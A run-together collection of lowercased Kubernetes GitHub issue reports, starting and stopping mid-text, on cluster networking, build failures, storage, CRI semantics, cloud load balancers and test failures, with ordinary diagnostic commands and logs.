>nginx.com</a>.</p>\r \r <p><em>thank you for using nginx.</em></p>\r </body>\r </html>\r    \r \r curl to pod on different node:\r    \r  kubectl exec busybox -- curl 10.244.1.6\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- 10.244.1.6 port 80: no route to host\r    \r \r \r \r i have a kubernetes cluster  using flannel :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r kubectl get cs\r name                 status    message              error\r scheduler            healthy   ok\r controller-manager   healthy   ok\r etcd-0               healthy   {\ health\ : \ true\ }\r    \r \r everything seems to be running okay\r \r    \r $ kubectl get pods -n kube-system\r name                            ready   status    restarts   age\r coredns-576cbf47c7-q7ncm        1/1     running   1          30m\r coredns-576cbf47c7-tclp8        1/1     running   1          30m\r etcd-kube1                      1/1     running   1          30m\r kube-apiserver-kube1            1/1     running   1          30m\r kube-controller-manager-kube1   1/1     running   1          30m\r kube-flannel-ds-amd64-6vlkx     1/1     running   1          30m\r kube-flannel-ds-amd64-7twk8     1/1     running   1          30m\r kube-flannel-ds-amd64-rqzr7     1/1     running   1          30m\r kube-proxy-krfzk                1/1     running   1          30m\r kube-proxy-vrssw                1/1     running   1          30m\r kube-proxy-xlrgz                1/1     running   1          30m\r kube-scheduler-kube1            1/1     running   1          30m\r    \r \r now i've deployed 2 pods  without a service . 2 nginx pods. i've also created a busybox pod. when i curl from inside the busybox pod to the nginx pod on the same node it works:\r    \r kubectl get pods -o wide\r name                   ready   status    restarts   age   ip           node    nominated node\r busybox                1/1     running   2          30m   10.244.2.5   kube2   <none>\r nginx-d55b94fd-l7swz   1/1     running   1          30m   10.244.2.4   kube2   <none>\r nginx-d55b94fd-zg7sj   1/1     running   1          30m   10.244.1.6   kube3   <none>\r    \r curl:\r    \r kubectl exec busybox -- curl 10.244.2.4\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   612  100   612    0     0   357k      0 --:--:-- --:--:-- --:--:--  597k\r <!doctype html>\r <html>\r <head>\r <title>welcome to nginx!</title>\r <style>\r     body {\r         width: 35em;\r         margin: 0 auto;\r         font-family: tahoma, verdana, arial, sans-serif;\r     }\r </style>\r </head>\r <body>\r <h1>welcome to nginx!</h1>\r <p>if you see this page, the nginx web server is successfully installed and\r working. further configuration is required.</p>\r \r <p>for online documentation and support please refer to\r <a href=\ http://nginx.org/\ >nginx.org</a>.<br/>\r commercial support is available at\r <a href=\ http://nginx.com/\ >nginx.com</a>.</p>\r \r <p><em>thank you for using nginx.</em></p>\r </body>\r </html>\r    \r but when i curl the pod on a different node:\r    \r  kubectl exec busybox -- curl 10.244.1.6\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- 10.244.1.6 port 80: no route to host\r    \r how can i debug this? what can be wrong?  all firewalls are turned off/disabled \r \r additional info:\r    \r $ sysctl net.ipv4.ip_forward\r net.ipv4.ip_forward = 1\r \r \r $ sysctl net.bridge.bridge-nf-call-iptables\r net.bridge.bridge-nf-call-iptables = 1\r    \r info:\r \r kubectl exec -it busybox ip a\r    \r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue qlen 1000\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r 3: eth0@if7: <broadcast,multicast,up,lower_up,m-down> mtu 1450 qdisc noqueue\r     link/ether 0a:58:0a:f4:02:05 brd ff:ff:ff:ff:ff:ff\r     inet 10.244.2.5/24 scope global eth0\r        valid_lft forever preferred_lft forever\r \r    \r \r all firewall settings are disabled.\r

what happened  :\r i'm noob just trying  to follow the readme  https://github.com/kubernetes/kubernetes you-have-a-working-docker-environment  for the first time, but  build/run.sh  fails early on:\r \r    \r $ build/run.sh make kubectl\r +++  0614 23:18:26  verifying prerequisites....\r +++  0614 23:18:26  building docker image kube-build:build-8ef9608e83-5-v1.12.5-1\r +++ docker build command failed for kube-build:build-8ef9608e83-5-v1.12.5-1\r \r emulate docker cli using podman. create /etc/containers/nodocker to quiet msg.\r step 1: from k8s.gcr.io/kube-cross:v1.12.5-1\r error: error creating build container: no such image \ containers-storage: overlay@/home/vorburger/.local/share/containers/storage+/tmp/1000:overlay.mount_program=/usr/bin/fuse-overlayfs k8s.gcr.io/kube-cross:v1.12.5-1\ \r \r to retry manually, run:\r \r docker build -t kube-build:build-8ef9608e83-5-v1.12.5-1 --pull=false /home/vorburger/kubernetes/kubernetes/_output/images/kube-build:build-8ef9608e83-5-v1.12.5-1\r \r !!!  0614 23:18:27  call tree:\r !!!  0614 23:18:27   1: build/run.sh:31 kube::build::build_image ... \r !!! error in build/../build/common.sh:427\r   error in build/../build/common.sh:427. 'return 1' exited with status 1\r call stack:\r   1: build/../build/common.sh:427 kube::build::build_image ... \r   2: build/run.sh:31 main ... \r exiting with status 1\r \r    \r \r   what you expected to happen  :\r i guess i expected  build/run.sh  as advertised in the readme? :smile: \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. fedora 30 server\r 1. sudo dnf install podman-docker\r 1. docker rmi k8s.gcr.io/kube-cross\r 1. git clone https://github.com/kubernetes/kubernetes.git ; cd kubernetes\r 1.  build/run.sh make kubectl

hit a brick wall trying to debug a separate issue because the apiserver is not recording logs past the request authenticator http.handler. specifically, calls to  glog.infof   ,  httplog.logof w .addf   , and even  fmt.printf  do not make it into  kube-apiserver.log . so, e.g.  pkg/apiserver/proxy.go  generates no logs regardless of log level.  the event horizon is in  newrequestauthenticator  https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/auth/handlers/handlers.go l33 . callers up the stack from there can call  httplog.logof w, req .addf  or  glog.infof  and the output appears in  kube-apiserver.log . log lines in functions further down the call stack are never output.  if anyone has ideas, i'd be grateful for help. even a repro would at least be sanity affirming.  cc @lavalamp, @nikhiljindal,

sometimes you might want to test out your code on real live production data so it would be nice to be able to have multiple selectors which all receive the same requests.

can't attach if other devices are attached:      events:   firstseen    lastseen    count    from                    subobjectpath    reason            message   ─────────    ────────    ─────    ────                    ─────────────    ──────            ───────   7s        7s        1    {scheduler }                        failedscheduling    binding rejected: pod \ influx-master-dkx1s\  not found   6s        6s        1    {scheduler }                        scheduled        successfully assigned influx-master-dkx1s to ip-172-16-32-74.ec2.internal   5s        5s        1    {kubelet ip-172-16-32-74.ec2.internal}            failedmount        unable to mount volumes for pod \ influx-master-dkx1s_default\ : error attaching ebs volume: invalidparametervalue: invalid value '/dev/xvdf' for unixdevice. attachment point /dev/xvdf is already in use         status code: 400, request id:   5s        5s    1    {kubelet ip-172-16-32-74.ec2.internal}        failedsync    error syncing pod, skipping: error attaching ebs volume: invalidparametervalue: invalid value '/dev/xvdf' for unixdevice. attachment point /dev/xvdf is already in use         status code: 400, request id:      example:      volumes:    - name: influxdb       awselasticblockstore:       volumeid: aws://us-east-1c/vol-033d51e0       fstype: ext4      ! image  https://cloud.githubusercontent.com/assets/899409/11545532/994885ee-98fc-11e5-91b7-df45076cd1cc.png

for example,  -  get :  ps ,  list  -  delete :  rm   @kubernetes/kubectl

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-serial/1869/  failed:  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:1035  expected     <int>: 2 to equal     <int>: 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:164      previous issues for this test:  30078

is this a bug report or feature request?    choose one : bug report    environment  : -   cloud provider or hardware configuration  : gcloud    what happened  : upgrade kubernetes version on node pool  got:  > cloud-kubernetes::unknown: k8sclient: 4 - bad status code: 404 goroutine 3513584  running : google3/cloud/kubernetes/common/errors.newstatus 0xc4000003e7, 0xc4277b20f0, 0x23, 0x1, 0x10  cloud/kubernetes/common/errors.go:607 +0x22f google3/cloud/kubernetes/common/errors.tostatus 0x22f4cc0, 0xc42dccea20, 0xc4277b20c0  cloud/kubernetes/common/errors.go:661 +0x1ac google3/cloud/kubernetes/common/errors.combine 0xc42216f9c0, 0x1, 0x1, 0x0, 0x1  cloud/kubernetes/common/errors.go:832 +0x12b google3/cloud/kubernetes/server/call.inparallel 0x1, 0xc436997100, 0xc42c85f4a0, 0xc42d9fe180, 0x9, 0x10, 0x8, 0x10  cloud/kubernetes/server/call.go:130 +0x608 google3/cloud/kubernetes/server/updater/updater. _updater .updatenpi 0xc42d8e2400, 0x7fca03ef8148, 0xc423df9ce0, 0xc4309b5860, 0xc42b436af0, 0xc42c85f4a0, 0xc4214a7100, 0x7b, 0xc42c919080, 0xc42c9190c0, ...  cloud/kubernetes/server/updater/updater.go:69 +0x680 google3/cloud/kubernetes/server/deploy. _deployer .updatenpi 0xc42c4f99e0, 0x7fca03ef8148, 0xc423df9ce0, 0xc42c85f4a0, 0x7fca02b04758, 0xc42c4319d0, 0xc4309b5860, 0xc4300cab00, 0xc42b436af0, 0xc4214a7100, ...  cloud/kubernetes/server/deploy.go:1719 +0xcf google3/cloud/kubernetes/server/deploy. _deployer .updatenodes 0xc42c4f99e0, 0x7fca03ef8148, 0xc423df9ce0, 0xc42c85f4a0, 0x7fca02b04758, 0xc42c4319d0, 0xc42c742120, 0xc4309b5860, 0xc4300ca900, 0xc42c919080, ...  cloud/kubernetes/server/deploy.go:1656 +0xb5e google3/cloud/kubernetes/server/server. _clusterserver .clusterupgradenodesinternal 0xc42c5cdf10, 0x7fca03ef8148, 0xc43c924e70, 0xc42c85f4a0, 0xc4309b5860, 0xc4300ca900, 0xc42c587560, 0x2339a20, 0xc42d9e9cc0, 0x3, ...  cloud/kubernetes/server/server.go:1083 +0x3ae google3/cloud/kubernetes/server/server. _clusterserver .clusterupgradenodes 0xc42c5cdf10, 0x7fca03ef8148, 0xc43c924e70, 0xc42c85f4a0, 0xc4309b5860, 0xc4300ca900, 0xc42c587560, 0x2339a20, 0xc42d9e9cc0, 0x0, ...  cloud/kubernetes/server/server.go:961 +0x108 google3/cloud/kubernetes/server/server. _clusterserver .clusterupdate 0xc42c5cdf10, 0x7fca03ef8148, 0xc43c924e70, 0xc42c85f4a0, 0xc400000002, 0xc4309b5860, 0xc4300ca900, 0xc42c587560, 0x2339a20, 0xc42d9e9cc0, ...  cloud/kubernetes/server/server.go:849 +0x35c google3/cloud/kubernetes/server/server. _clusterserver .updateclusterinternal 0xc42c5cdf10, 0x7fca03ef8148, 0xc43c924e70, 0xc42c85f4a0, 0x2339a20, 0xc42d9e9cc0, 0xc4309b5860, 0xc4300ca900, 0xc42c587560, 0xc400000002, ...  cloud/kubernetes/server/server.go:1726 +0xca google3/cloud/kubernetes/server/server. _clusterserver .updatecluster.func1 0xc42c85f3e0, 0xc42d9e9ea0, 0x2339a20, 0xc42d9e9cc0, 0xc42be89872, 0x6, 0xc400000002, 0xc42c5cdf10, 0x7fca03ef8148, 0xc43c924e70, ...  cloud/kubernetes/server/server.go:1718 +0x309 created by google3/cloud/kubernetes/server/server.  clusterserver .updatecluster cloud/kubernetes/server/server.go:1720 +0xc7b     what you expected to happen  :  to upgrade    how to reproduce it    as minimally and precisely as possible :  don't know.

the  createcontainer  and  startcontainer  api in the cri are too docker specific. the cri isn't actually defining what  createcontainer  means for a runtime and docker and containerd-shim behaves incorrectly.\r \r in cri-o when we get a  createcontainer  cri call, we run  runc create ...  - which i'm super sure is the correct way of handing a  createcontainer  request.  runc create ...  can fail if, for instance, the command isn't in  $path . that failure is a  createerror   !!!  but today it's reported as a  starterror   !!!! \r \r however, kubelet, containerd-cri, dockershim aren't actually handling  containercreate  errors. instead, because of docker,  docker create  never fails if command isn't in  $path   test it yourself . that's because nor docker nor containerd actually call  runc create ...  when creating a container.\r they call  runc create ...  as part of the  start...  processes instead.\r \r for kubelet, containerd-cri and dockershim,  createcontainer  means: \ store a created container in memory in the runtime\ . this is totally wrong, or it must be clearly stated in the cri api  but i'd argue create should actually _create_ a container .\r this behavior is explained in how containerd-shim is handing  createcontainer  here: https://github.com/kubernetes-incubator/cri-containerd/blob/master/pkg/server/container_create.go\r there's no point in that code which actually  create  a container through containerd so that code can't fail if  command isn't in  $path .\r \r this flow is clearly a leftover from  docker create / docker start  flow and i strongly believe the cri and the kubelet are too docker specific.\r \r for instance, kubelet expect a  starterror   https://github.com/kubernetes-incubator/cri-containerd/blob/227dbe97f290e7fc7fc684f1be39cdcdd81fcc65/pkg/server/helpers.go l47  but that is clearly not a  starterror  if it happens at container creation time. the  containerstart  function in containerd-shim is actually creating the container here https://github.com/kubernetes-incubator/cri-containerd/blob/master/pkg/server/container_start.go l200 - if that fails it's not a start error  !!!  https://github.com/kubernetes-incubator/cri-containerd/blob/master/pkg/server/container_start.go l87-l96 \r \r i propose a full review of the interaction between the cri and kubelet wrt to container runtimes. we can't just assume the flow is the docker flow cause it isn't anymore.\r we ran into this bug in cri-o but since there's no clear documentation on how to handle create/start request, this must be revisited.\r \r it's also super-semantically incorrect to return a  starterror  where it's actually a creation error. \r \r this create/start flow is just an example. i'm sure other apis must be revisited.\r \r @random-liu @mrunalp @feiskyer  ptal

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r i started a simple nginx pod and it doesn't show on kubectl get pods\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r     root@fedora-1gb-blr1-01 ~   kubectl run my-nginx --image=nginx --replicas=2 --port=80\r deployment \ my-nginx\  created\r  root@fedora-1gb-blr1-01 ~   kubectl get pods\r no resources found.\r  root@fedora-1gb-blr1-01 ~   kubectl get deployment\r name       desired   current   up-to-date   available   age\r my-nginx   2         0         0            0           22s\r    \r \r   anything else we need to know?  :\r    \r  root@fedora-1gb-blr1-01 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-08t18:30:56z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-08t18:30:56z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@fedora-1gb-blr1-01 ~   \r    \r \r    name=fedora\r version=\ 26  cloud edition \ \r id=fedora\r version_id=26\r pretty_name=\ fedora 26  cloud edition \ \r ansi_color=\ 0;34\ \r cpe_name=\ cpe:/o:fedoraproject:fedora:26\ \r home_url=\ https://fedoraproject.org/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ fedora\ \r redhat_bugzilla_product_version=26\r redhat_support_product=\ fedora\ \r redhat_support_product_version=26\r privacy_policy_url=https://fedoraproject.org/wiki/legal:privacypolicy\r variant=\ cloud edition\ \r variant_id=cloud\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

since about 6:00 pt today  jan 3 2017 ,  pull-kubernetes-cross  tests  are failing across the board  https://prow.k8s.io/?repo=kubernetes%2fkubernetes&type=presubmit&job=pull-kubernetes-cross  with docker registry ttls handshake timeouts:\r \r    \r get https://registry-1.docker.io/v2/: net/http: tls handshake timeout\r ...\r get https://gcr.io/v2/: net/http: tls handshake timeout\r    \r

 \r   what happened  :\r azure load balancer created with wrong backend port.\r \r i'm creating load balancer from:\r    \r kind: service\r apiversion: v1\r metadata:\r   name: my-service\r spec:\r   selector:\r     app: nginx\r   ports:\r     - protocol: tcp\r       port: 80\r   type: loadbalancer\r    \r \r my nginx pods\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-worker1\r spec:\r   replicas: 2   tells deployment to run 2 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r \r finally in azure portal i see that everything is fine except \ backend port\ , which is set to 80.\r \r   what you expected to happen  :\r load balancer will have \ backend port\  set to node port, which in my case was selected to  32451 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  deploy kubernetes 1.9.0 on azure\r 2  create resources above  service and deployment \r 3  check load balancer settings in azure portal\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.0\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1465.7.0\r - kernel  e.g.  uname -a  : 4.12.10-coreos\r - install tools: https://github.com/giantswarm/azure-operator\r - others: \r

when using the  denyescalatingexec  admission controller, e2e tends to break, especially these:\r \r    \r  sig-network  networking granular checks: pods should function for node-pod communication: udp  conformance \r  sig-network  networking granular checks: pods should function for intra-pod communication: http  conformance \r  sig-network  networking granular checks: pods should function for intra-pod communication: udp  conformance \r  sig-network  networking granular checks: pods should function for node-pod communication: http  conformance \r  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance \r    \r \r this is especially confusing for users, as they think that their cluster isn't conformant.\r \r  /

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the csi plugin ignores --root-dir and it uses the hard-coded \ /var/lib/kubelet/plugins/%v/csi.sock\  defined here https://github.com/kubernetes/kubernetes/blob/36877dafe40495cb43994464e2427355f99042c7/pkg/volume/csi/csi_plugin.go l55\r \r   what you expected to happen  :\r \r csi plugin should use the \ plugins\  subdirectory relative to the value defined using --root-dir.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set --root-dir to something else than /var/lib/kubelet and configure the csi driver to use the plugins subdirectory relative to the --root-dir directory. kubelet will fail with the following message:\r \r mountvolume.mountdevice failed for volume \ pvc-06f117e0b68c11e8\  : rpc error: code = unavailable desc = grpc: the connection is unavailable\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : ubuntu 18.04 lts\r - kernel  e.g.  uname -a  : linux single-node 4.15.0-20-generic  21-ubuntu smp tue apr 24 06:16:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: k8s-tew\r

this issue is about defining a pattern we already have.  proposed definitions: -   object authorization  : deciding if a request is allowed based only on a limited set of attributes which are common to all kubernetes-style objects and requests. -   field authorization  : deciding whether creating or updating an object _with specific values in specific fields_ is authorized.  reasons why it make sense to treat these as separate things: 1. _one needs to be pluggable but the other does not_.   object authorization is a pretty generic concept.  it has been done many times before.  therefore, people have opinions about it and existing systems they want to tie into.  so, it needs to be pluggable.  field authorization is very specific to our types, such as pod.  so, people are going to look to us on how to do it.  and their existing systems are not going to have support for it.  so, it is not clear that it needs to pluggable. 2. _need to happen at different times_: object authz should happen as early as possible, so we can reject totally unauthorized request as early as possible.  since object authz ony depends on attributes found in the request path and http headers, it can happen before the body is parsed.  then if it it passes the object authorizer, then we parse it.  then we should run admission controllers which do defaulting of fields.  then, after that is done, we should do field authorization.  doing it after most admission controllers run makes it less likely that the admission controllers are confused deputies.  some admission controllers, like quota, need to run after field authz, but that should be a small set. 3. _third party apiservers_: if i run a third party apiserver, i probably want to delegate object authz to be the same as whatever the first party apiserver uses.  object authz is generic.  but since field authz is specific to particular objects, it can be hard-coded into a third-party apiserver, for the types of objects it provides.  @deads2k @liggitt @smarterclayton @lavalamp @nikhiljindal

i have an installed kubernetes cluster in coreos infrastructure with  configured iscsi  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/iscsi .  it seems like kubernetes doesn't perform sync syscall after completing a task. in result, i can have an illegal unsynchronized state in the volume. if the task state was \ succeeded\  i can put sync operation at the end of a task, but if the state was failed, i have no workaround at all. and i can end up with broken fs on another machine with that volume attached.      tue jul 26 12:40:16 2016  ext4-fs error  device sdb : ext4_mb_generate_buddy:758: group 18, block bitmap and bg descriptor inconsistent: 1544 vs 0 free clusters  tue jul 26 12:40:16 2016  jbd2: spotted dirty metadata buffer  dev = sdb, blocknr = 0 . there's a risk of filesystem corruption in case of system crash.  tue jul 26 12:40:21 2016  ext4-fs error  device sdb : __ext4_new_inode:1066: comm java: failed to insert inode 159390: doubly allocated?  tue jul 26 12:41:03 2016  ext4-fs warning  device sdb : ext4_rmdir:2978: inode  131124: comm rm: empty directory 'plugins' has too many links  3   tue jul 26 12:41:26 2016  ext4-fs error  device sdb : mb_free_blocks:1470: group 32, block 1065504:freeing already freed block  bit 16928 ; block bitmap corrupt.  tue jul 26 12:41:26 2016  ext4-fs error  device sdb : ext4_mb_generate_buddy:758: group 32, block bitmap and bg descriptor inconsistent: 26447 vs 28023 free clusters      how to deal with it? is it a bug or iscsi kubernetes integration is misconfigured?  i have the same question  on stackoverflow  http://stackoverflow.com/questions/38592702/kubernetes-doesnt-perform-sync-after-completing-a-task

i running kubernetes cluster in containers use  hyperkube-amd64:v1.2.0 , my docker version is 1.10.3.  when i run k8s cluster using    docker run \\ --restart=always \\ --name=kubelet \\ --volume=/:/rootfs:ro \\ --volume=/sys:/sys:ro \\ --volume=/var/lib/docker/:/var/lib/docker:rw \\ --volume=/var/lib/kubelet/:/var/lib/kubelet:rw,shared \\ --volume=/var/run:/var/run:rw \\ --net=host \\ --pid=host \\ --privileged=true \\ -d \\ gcr.io/google_containers/hyperkube-amd64:v1.2.0 \\ /hyperkube kubelet \\ --containerized \\ --address=\ 0.0.0.0\  \\ --hostname-override=\ 127.0.0.1\  \\ --api-servers=http://0.0.0.0:8080 \\ --config=/etc/kubernetes/manifests \\ --allow-privileged=true --v=2 \\ > /dev/null   when a  contianer start falied, the k8s pod will keeps creating new containers every serveral seconds, and after several mintutes, there will be hundreds of exit containers, why it create so rapidly?

hi, i tried to compile kubernetes on powerpc 64 \r \r    \r kubernetes git: fff5156  make\r !!!  0330 07:00:58  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:58  call tree:\r !!!  0330 07:00:58   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:58  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:58  call tree:\r !!!  0330 07:00:58   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: ./hack/run-in-gopath.sh:27 source ... \r !!!  0330 07:00:59  unsupported host arch. must be x86_64, 386, arm, arm64, s390x or ppc64le.\r !!!  0330 07:00:59  call tree:\r !!!  0330 07:00:59   1: hack/make-rules/build.sh:25 source ... \r make 1 :      _output/bin/deepcopy-gen  error 1\r make:      generated_files  error 2\r    \r here is my kernel info\r    \r ➜  kubernetes git: fff5156  uname -a\r linux soctb425 3.10.0-514.el7.ppc64  1 smp fri dec 2 22:53:03 gmt 2016 ppc64 ppc64 ppc64 gnu/linux\r \r ➜  kubernetes git: fff5156  cat /proc/cpuinfo\r processor\t: 0\r cpu\t\t: power8  architected , altivec supported\r clock\t\t: 3425.000000mhz\r revision\t: 2.1  pvr 004b 0201 \r \r processor\t: 8\r cpu\t\t: power8  architected , altivec supported\r clock\t\t: 3425.000000mhz\r revision\t: 2.1  pvr 004b 0201 \r \r timebase\t: 512000000\r platform\t: pseries\r model\t\t: ibm,8284-22a\r machine\t\t: chrp ibm,8284-22a\r    \r \r i tried to find information about ppc, but only found about little endian  ppc64le  one.\r \r   my questions are:  \r   is ppc64 big endian architecture supported?  if not - why? and will it be supported in future? \r   is there any way to run kubernetes on ppc64

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >    \r \r   what happened  :\r the logs in container cannot be rotated, docker already support this, it is better add this feature to kubernetes.\r \r    \r $ docker run -it --log-opt max-size=10m --log-opt max-file=3 busybox /bin/sh -c 'i=0; while true; do echo \ $i: $ date \ ; i=$  i+1  ; sleep 0.001; done'\r    \r \r more detail refer to: \r \r https://docs.docker.com/engine/admin/logging/overview/\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r >  \r currently incomplete examples of daemonset deployment is only linked in the flexvolume readme. a more complete example requiring minimal user interaction should be included in the  example/volume/flexvolume  directory.\r

\r test/e2e/auth/audit.go:60\r event auth.auditevent{level:\ metadata\ , stage:\ responsecomplete\ , requesturi:\ /api/v1/namespaces/e2e-tests-audit-jnlrb/secrets/audit-secret\ , verb:\ get\ , code:200, user:\ kubecfg\ , resource:\ secrets\ , namespace:\ e2e-tests-audit-jnlrb\ , requestobject:false, responseobject:false} not found!\r expected\r     <bool>: false\r to be true\r test/e2e/auth/audit.go:676\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/60728/pull-kubernetes-e2e-gce/24504/\r \r @kubernetes/sig-auth-test-failures

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r it's missing persistentvolumes get

what would you like to be added  :\r \r a feature to statefulset that would allow different configmaps to be mounted into each pod in the statefulset.    i imagine it would work similarly to volumeclaimtemplate, but instead of creating pvc's, it would just reference configmaps following the pattern.  for example, if the statefulset creates a pod named  foo-1 , there should be a way to tell that pod to mount config files from the configmap  config-for-foo-1 .\r \r   why is this needed  :\r \r it's quite typical that a multi-pod stateful app would have slightly different configuration for each pod.   other mechanisms for achieving this are inelegent.\r \r others would find a use for such a feature: https://stackoverflow.com/questions/48384602/how-to-add-a-configmap-to-a-specific-pod-in-a-statefulset\r \r <!-- do not edit below this line -->\r 

what happened  :\r pods cannot resolve other pods names. pod2 cannot connect to pod1, in the logs we can find:\r \r    \r caused by: java.net.unknownhostexception: pod1: temporary failure in name resolution\r         at java.net.inet6addressimpl.lookupallhostaddr native method \r         at java.net.inetaddress$2.lookupallhostaddr inetaddress.java:928 \r         at java.net.inetaddress.getaddressesfromnameservice inetaddress.java:1323 \r         at java.net.inetaddress.getallbyname0 inetaddress.java:1276 \r         at java.net.inetaddress.getallbyname inetaddress.java:1192 \r         at java.net.inetaddress.getallbyname inetaddress.java:1126 \r         at org.apache.zookeeper.client.statichostprovider.<init> statichostprovider.java:61 \r    \r \r    \r name         ready    status                restarts  age\r pod2-0       0/1      crashloopbackoff  1837         4d\r pod1-0       1/1      running                  0              4d\r    \r    \r  root@host tmp $ kubectl exec -it pod1-0 nslookup pod1\r ;; connection timed out; no servers could be reached\r command terminated with exit code 1\r \r  root@host tmp $ kubectl exec -it pod1-0 